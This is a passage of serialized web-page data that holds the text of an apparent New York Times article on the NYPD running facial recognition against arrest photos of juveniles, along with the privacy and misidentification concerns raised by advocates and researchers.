","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.2":{"__typename":"TextInline","text":"DataWorks Plus","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.3":{"__typename":"TextInline","text":", the two companies that provide facial recognition software to the Police Department, did not respond to requests for comment. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.0":{"__typename":"TextInline","text":"The New York Police Department can take arrest photos of minors as young as ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.1":{"__typename":"TextInline","text":"11","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.2":{"__typename":"TextInline","text":" who are charged with a felony, depending on the severity of the charge. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.40.content.0":{"__typename":"TextInline","text":"And in many cases, the department keeps the photos for years, making facial recognition comparisons to what may have effectively become outdated images. There are photos of 5,500 individuals in the juvenile database, 4,100 of whom are no longer 16 or under, the department said. Teenagers 17 and older are considered adults in the criminal justice system. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.42.content.0":{"__typename":"TextInline","text":"Police officials declined to provide statistics on how often their facial recognition systems provide false matches, or to explain how they evaluate the system’s effectiveness.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.44.content.0":{"__typename":"TextInline","text":"“We are comfortable with this technology because it has proved to be a valuable investigative method,” Chief Shea said. Facial recognition has helped lead to thousands of arrests of both adults and juveniles, the department has said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.46.content.0":{"__typename":"TextInline","text":"Mayor Bill de Blasio had been aware the department was using the technology on minors, said Freddi Goldstein, a spokeswoman for the mayor. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.48.content.0":{"__typename":"TextInline","text":"She said the Police Department followed “strict guidelines” in applying the technology and City Hall monitored the agency’s compliance with the policies. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.0":{"__typename":"TextInline","text":"The Times learned details of the department’s use of facial recognition by reviewing documents posted online earlier this year by ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1":{"__typename":"TextInline","text":"Clare Garvie, a senior associate","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.flawedfacedata.com\u002F#footnote5","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2":{"__typename":"TextInline","text":" at the Center on Privacy and Technology at Georgetown Law","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.flawedfacedata.com\u002F#footnote5","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.3":{"__typename":"TextInline","text":". Ms. Garvie received the documents as part of an open records lawsuit. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.52.content.0":{"__typename":"TextInline","text":"It could not be determined whether other large police departments used facial recognition with juveniles because very few have written policies governing the use of the technology, Ms. Garvie said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54.content.0":{"__typename":"TextInline","text":"New York detectives rely on a vast network","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54.content.1":{"__typename":"TextInline","text":" of surveillance cameras throughout the city to provide images of people believed to have committed a crime. Since 2011, the department has had a dedicated unit of officers who use facial recognition to compare those images against millions of photos, usually mug shots. The software proposes matches, which have led to thousands of arrests, the department said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.56.content.0":{"__typename":"TextInline","text":"By 2013, top police officials were meeting to discuss including juveniles in the program, the documents reviewed by The Times showed. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.58.content.0":{"__typename":"TextInline","text":"The documents showed that the juvenile database had been integrated into the system by 2015. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.59.content.0":{"__typename":"TextInline","text":"“We have these photos. It makes sense,” Chief Shea said in the interview. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61.content.0":{"__typename":"TextInline","text":"State law requires that arrest photos be destroyed if the case is resolved in the juvenile’s favor, or if the child is found to have committed only a misdemeanor, rather than a felony. The photos also must be destroyed if a person reaches age 21 without a criminal record. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61.content.1":{"__typename":"TextInline","text":" ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.63.content.0":{"__typename":"TextInline","text":"When children are charged with crimes, the court system usually takes some steps to prevent their acts from defining them in later years. Children who are 16 and under, for instance, are generally sent to Family Court, where records are not public. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.65.content.0":{"__typename":"TextInline","text":"Yet including their photos in a facial recognition database runs the risk that an imperfect algorithm identifies them as possible suspects in later crimes, civil rights advocates said. A mistaken match could lead investigators to focus on the wrong person from the outset, they said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.67.content.0":{"__typename":"TextInline","text":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, a 17-year-old Brooklyn girl who had admitted guilt in Family Court to a group attack that happened when she was 14. She said she was present at the attack but did not participate. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.0":{"__typename":"TextInline","text":"Bailey, who asked that she be identified only by her ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.1":{"__typename":"TextInline","text":"last name","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.2":{"__typename":"TextInline","text":" because she did not want her juvenile arrest to be public, has not been arrested again and is now a student at John Jay College of Criminal Justice. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.0":{"__typename":"TextInline","text":"R","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.1":{"__typename":"TextInline","text":"ecent studies indicate that people of color, as well as children and women, have a greater risk of misidentification than their counterparts, sai","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.2":{"__typename":"TextInline","text":"d ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.3":{"__typename":"TextInline","text":"Joy Buolamwini","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.4":{"__typename":"TextInline","text":", ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.5":{"__typename":"TextInline","text":"the founder of the Algorithmic Justice League and graduate researcher at the M.I.T. Media Lab","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.6":{"__typename":"TextInline","text":", who has examined how human biases are built into artificial intelligence. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.0":{"__typename":"TextInline","text":"The racial disparities in the juvenile justice system are stark: In New York, black and Latino juveniles were charged with crimes at far higher rates than whites in 2017, the most recent year for which numbers were available. Black juveniles outnumbered white juveniles ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1":{"__typename":"TextInline","text":"more than 15 to 1","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.criminaljustice.ny.gov\u002Fcrimnet\u002Fojsa\u002Fjj-reports\u002Fnewyorkcity.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.2":{"__typename":"TextInline","text":".","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75.content.0":{"__typename":"TextInline","text":"“If the facial recognition algorithm has a negative bias toward a black population, that will get magnified more toward children,” Dr. Ricanek said, adding that in terms of diminished accuracy, “you’re now putting yourself in unknown territory.”","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0":{"__typename":"Article","promotionalHeadline":"Facial Recognition Makes You Safer","promotionalSummary":"Used properly, the software effectively identifies crime suspects without violating rights.","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.headline","typename":"CreativeWorkHeadline"},"summary":"Used properly, the software effectively identifies crime suspects without violating rights.","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","firstPublished":"2019-06-09T23:00:05.000Z","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia","typename":"Image"},"section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","typename":"Section"},"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0","typename":"Byline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.headline":{"default":"How Facial Recognition Makes You Safer","__typename":"CreativeWorkHeadline"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-videoLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-videoLarge.jpg","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-mediumThreeByTwo440.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-mediumThreeByTwo440.jpg","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-threeByTwoSmallAt2X.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-threeByTwoSmallAt2X.jpg","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-videoLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-mediumThreeByTwo440.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-threeByTwoSmallAt2X.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia":{"crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1":{"__typename":"Article","promotionalHeadline":"Spying on Children Won’t Keep Them Safe","promotionalSummary":"This week my daughter’s school became the first in the nation to pilot facial-recognition software. The technology’s potential is chilling.","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.headline","typename":"CreativeWorkHeadline"},"summary":"This week my daughter’s school became the first in the nation to pilot facial-recognition software. The technology’s potential is chilling.","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F07\u002Fopinion\u002Flockport-facial-recognition-schools.html","firstPublished":"2019-06-07T15:00:05.000Z","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia","typename":"Image"},"section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","typename":"Section"},"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0","typename":"Byline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.headline":{"default":"Spying on Children Won’t Keep Them Safe","__typename":"CreativeWorkHeadline"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-videoLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-videoLarge.jpg","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-mediumThreeByTwo440.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-mediumThreeByTwo440.jpg","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-threeByTwoSmallAt2X.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-threeByTwoSmallAt2X.jpg","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-videoLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-mediumThreeByTwo440.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-threeByTwoSmallAt2X.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia":{"crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0","typename":"ImageCrop"}],"__typename":"Image"},"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==":{"id":"U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","displayName":"Opinion","__typename":"Section"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0.creators.0":{"displayName":"James O’Neill","__typename":"Person"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0":{"creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0.creators.0","typename":"Person"}],"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0.creators.0":{"displayName":"Jim Shultz","__typename":"Person"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0":{"creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0.creators.0","typename":"Person"}],"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.legacy":{"reviewInformation":"","__typename":"ArticleLegacyData","htmlExtendedAuthorOrArticleInformation":"","htmlInfoBox":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.0":{"type":"twitter","account":"JoeKGoldstein","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.1":{"type":"url","account":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fjoseph-goldstein","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails":{"socialMedia":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.0","typename":"ContactDetailsSocialMedia"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.1","typename":"ContactDetailsSocialMedia"}],"__typename":"ContactDetails"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.legacyData":{"htmlShortBiography":"\u003Cp\u003EJoseph Goldstein writes about policing and the criminal justice system. He has been a reporter at The Times since 2011, and is based in New York. He also worked for a year in the Kabul bureau, reporting on 